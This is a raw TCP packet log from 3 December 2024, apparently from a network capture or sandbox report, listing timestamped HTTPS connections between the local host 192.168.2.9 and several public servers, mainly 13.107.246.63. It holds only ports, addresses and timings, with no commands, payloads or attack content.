Dec 3, 2024 15:32:05.352941036 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.352952957 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.352989912 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.353008986 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.372098923 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.372121096 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.372297049 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.372297049 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.372311115 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.372350931 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.494113922 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.494139910 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.494204998 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.494227886 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.494249105 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.494265079 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.510402918 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.510423899 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.510512114 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.510519981 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.510557890 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.523789883 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.523809910 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.523895025 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.523900986 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.523940086 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.541026115 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.541048050 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.541125059 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.541146994 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.541188002 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.557478905 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.557498932 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.557594061 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.557601929 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.557638884 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.573335886 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.573354959 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.573442936 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.573456049 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.573496103 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.580796957 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.580868006 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:05.580883980 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:05.580914974 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:06.898314953 CET	49677	443	192.168.2.9	20.189.173.11
Dec 3, 2024 15:32:07.043386936 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.043782949 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.045056105 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.045068979 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.045080900 CET	49706	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.045088053 CET	443	49706	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.125287056 CET	49708	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.125333071 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.125483990 CET	49708	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.125485897 CET	49707	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.125533104 CET	443	49707	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.125588894 CET	49707	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.127010107 CET	49709	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.127039909 CET	443	49709	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.127063990 CET	49710	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.127075911 CET	443	49710	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.127125025 CET	49709	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.127130032 CET	49710	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.127381086 CET	49708	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.127393961 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.127568960 CET	49707	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.127585888 CET	443	49707	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.127759933 CET	49709	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.127779961 CET	443	49709	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.127811909 CET	49711	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.127815962 CET	49710	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.127820015 CET	443	49711	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.127827883 CET	443	49710	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:07.127957106 CET	49711	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.128031015 CET	49711	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:07.128037930 CET	443	49711	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.101440907 CET	49673	443	192.168.2.9	204.79.197.203
Dec 3, 2024 15:32:08.915045023 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.915973902 CET	443	49707	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.916798115 CET	49708	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:08.916812897 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.917804956 CET	49708	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:08.917809010 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.918354988 CET	49707	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:08.918385983 CET	443	49707	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.918972969 CET	49707	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:08.918978930 CET	443	49707	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.926729918 CET	443	49709	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.927197933 CET	49709	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:08.927213907 CET	443	49709	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.927490950 CET	49709	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:08.927501917 CET	443	49709	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.928347111 CET	443	49710	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.928677082 CET	49710	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:08.928683043 CET	443	49710	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.929059982 CET	49710	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:08.929064035 CET	443	49710	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.976310968 CET	443	49711	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.977046967 CET	49711	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:08.977070093 CET	443	49711	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:08.977691889 CET	49711	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:08.977698088 CET	443	49711	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.377830029 CET	443	49710	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.377906084 CET	443	49710	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.377989054 CET	49710	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.378222942 CET	49710	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.378242970 CET	443	49710	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.378254890 CET	49710	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.378264904 CET	443	49710	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.381643057 CET	49718	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.381684065 CET	443	49718	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.381727934 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.381747007 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.381755114 CET	443	49707	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.381763935 CET	443	49707	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.381814003 CET	49718	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.381820917 CET	443	49707	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.381831884 CET	49708	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.381840944 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.381855011 CET	49707	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.381889105 CET	49707	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.381890059 CET	49708	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.381926060 CET	49718	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.381942034 CET	443	49718	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.382117987 CET	443	49709	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.382121086 CET	49708	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.382131100 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.382138968 CET	443	49709	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.382150888 CET	49708	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.382164001 CET	443	49709	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.382175922 CET	49709	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.382272005 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.382293940 CET	49709	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.382308006 CET	443	49708	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.382369995 CET	49708	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.384268999 CET	49719	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.384290934 CET	443	49719	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.384706974 CET	49719	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.384932041 CET	49719	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.384938955 CET	443	49719	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.385133028 CET	49707	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.385133028 CET	49707	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.385152102 CET	443	49707	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.385162115 CET	443	49707	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.386603117 CET	49709	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.386603117 CET	49709	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.386619091 CET	443	49709	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.386627913 CET	443	49709	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.389311075 CET	49720	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.389348030 CET	443	49720	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.389398098 CET	49720	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.389631033 CET	49720	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.389650106 CET	443	49720	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.390144110 CET	49721	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.390182018 CET	443	49721	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.392143011 CET	49721	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.392461061 CET	49721	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.392477036 CET	443	49721	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.432025909 CET	443	49711	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.432086945 CET	443	49711	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.432255030 CET	49711	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.436022043 CET	49711	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.436038971 CET	443	49711	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.436079979 CET	49711	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.436086893 CET	443	49711	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.468908072 CET	49722	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.468962908 CET	443	49722	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:09.469129086 CET	49722	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.474975109 CET	49722	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:09.475003958 CET	443	49722	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.103938103 CET	49676	443	192.168.2.9	23.206.229.209
Dec 3, 2024 15:32:11.103952885 CET	49675	443	192.168.2.9	23.206.229.209
Dec 3, 2024 15:32:11.178694963 CET	443	49720	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.179203987 CET	49720	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.179238081 CET	443	49720	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.179728985 CET	49720	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.179734945 CET	443	49720	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.179884911 CET	443	49721	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.180203915 CET	49721	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.180227995 CET	443	49721	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.180609941 CET	49721	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.180622101 CET	443	49721	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.226048946 CET	443	49718	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.226473093 CET	49718	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.226486921 CET	443	49718	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.226907969 CET	49718	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.226913929 CET	443	49718	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.229543924 CET	443	49719	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.230057955 CET	49719	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.230070114 CET	443	49719	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.230431080 CET	49719	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.230437040 CET	443	49719	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.274941921 CET	443	49722	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.275389910 CET	49722	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.275441885 CET	443	49722	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.276010036 CET	49722	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.276027918 CET	443	49722	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.322674990 CET	49674	443	192.168.2.9	23.206.229.209
Dec 3, 2024 15:32:11.624057055 CET	443	49720	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.624114990 CET	443	49720	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.624166012 CET	49720	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.624385118 CET	49720	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.624397993 CET	443	49720	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.624408960 CET	49720	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.624413967 CET	443	49720	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.625068903 CET	443	49721	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.625116110 CET	443	49721	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.625169992 CET	49721	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.625375986 CET	49721	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.625387907 CET	443	49721	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.625397921 CET	49721	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.625402927 CET	443	49721	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.628616095 CET	49724	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.628659010 CET	443	49724	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.628909111 CET	49724	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.629066944 CET	49725	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.629097939 CET	443	49725	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.629149914 CET	49725	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.629256010 CET	49724	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.629271984 CET	443	49724	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.629487991 CET	49725	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.629497051 CET	443	49725	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.680231094 CET	443	49718	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.680299044 CET	443	49718	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.680562973 CET	49718	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.681129932 CET	49718	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.681143999 CET	443	49718	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.681159019 CET	49718	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.681165934 CET	443	49718	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.682621956 CET	443	49719	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.682674885 CET	443	49719	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.682744026 CET	49719	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.684590101 CET	49719	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.684590101 CET	49719	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.684608936 CET	443	49719	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.684618950 CET	443	49719	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.690504074 CET	49726	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.690541983 CET	443	49726	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.690604925 CET	49726	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.692023039 CET	49727	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.692055941 CET	443	49727	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.692156076 CET	49727	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.694199085 CET	49726	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.694211960 CET	443	49726	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.694483995 CET	49727	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.694494963 CET	443	49727	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.720165014 CET	443	49722	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.720236063 CET	443	49722	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.720307112 CET	49722	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.721756935 CET	49722	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.721765995 CET	443	49722	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.724535942 CET	49728	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.724560022 CET	443	49728	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:11.724698067 CET	49728	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.725296021 CET	49728	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:11.725303888 CET	443	49728	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:12.532119036 CET	49729	443	192.168.2.9	172.217.21.36
Dec 3, 2024 15:32:12.532169104 CET	443	49729	172.217.21.36	192.168.2.9
Dec 3, 2024 15:32:12.532249928 CET	49729	443	192.168.2.9	172.217.21.36
Dec 3, 2024 15:32:12.532453060 CET	49729	443	192.168.2.9	172.217.21.36
Dec 3, 2024 15:32:12.532468081 CET	443	49729	172.217.21.36	192.168.2.9
Dec 3, 2024 15:32:13.110141993 CET	49730	443	192.168.2.9	23.218.208.109
Dec 3, 2024 15:32:13.110193014 CET	443	49730	23.218.208.109	192.168.2.9
Dec 3, 2024 15:32:13.110251904 CET	49730	443	192.168.2.9	23.218.208.109
Dec 3, 2024 15:32:13.112262011 CET	49730	443	192.168.2.9	23.218.208.109
Dec 3, 2024 15:32:13.112276077 CET	443	49730	23.218.208.109	192.168.2.9
Dec 3, 2024 15:32:13.414279938 CET	443	49725	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.414478064 CET	443	49727	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.414861917 CET	49725	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.414880037 CET	443	49725	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.414901972 CET	49727	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.414917946 CET	443	49727	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.415350914 CET	49727	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.415357113 CET	443	49727	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.415560961 CET	49725	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.415565014 CET	443	49725	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.456896067 CET	443	49728	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.457417011 CET	49728	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.457439899 CET	443	49728	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.457866907 CET	49728	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.457873106 CET	443	49728	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.474240065 CET	443	49724	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.474824905 CET	49724	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.474870920 CET	443	49724	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.475172043 CET	49724	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.475183010 CET	443	49724	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.475389004 CET	443	49726	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.475657940 CET	49726	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.475676060 CET	443	49726	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.476181984 CET	49726	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.476188898 CET	443	49726	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.717541933 CET	443	49704	23.206.229.209	192.168.2.9
Dec 3, 2024 15:32:13.717632055 CET	49704	443	192.168.2.9	23.206.229.209
Dec 3, 2024 15:32:13.852005005 CET	443	49727	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.852081060 CET	443	49727	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.852277040 CET	49727	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.852328062 CET	49727	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.852328062 CET	49727	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.852349997 CET	443	49727	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.852359056 CET	443	49727	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.855202913 CET	49731	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.855259895 CET	443	49731	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.855345011 CET	49731	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.855515957 CET	49731	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.855530977 CET	443	49731	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.859958887 CET	443	49725	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.860019922 CET	443	49725	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.860076904 CET	49725	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.860172987 CET	49725	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.860181093 CET	443	49725	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.860193968 CET	49725	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.860208035 CET	443	49725	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.862567902 CET	49732	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.862615108 CET	443	49732	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.862703085 CET	49732	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.862838030 CET	49732	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.862855911 CET	443	49732	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.895148039 CET	443	49728	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.895221949 CET	443	49728	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.895271063 CET	49728	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.895492077 CET	49728	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.895514011 CET	443	49728	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.895525932 CET	49728	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.895533085 CET	443	49728	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.898046970 CET	49733	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.898087978 CET	443	49733	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.898386002 CET	49733	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.898560047 CET	49733	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.898580074 CET	443	49733	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.930684090 CET	443	49726	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.930754900 CET	443	49726	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.930802107 CET	49726	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.931229115 CET	49726	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.931252003 CET	443	49726	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.931262970 CET	49726	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.931268930 CET	443	49726	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.933947086 CET	49734	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:13.933994055 CET	443	49734	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:13.934124947 CET	49734	443	192.168.2.9	13.107.246.63
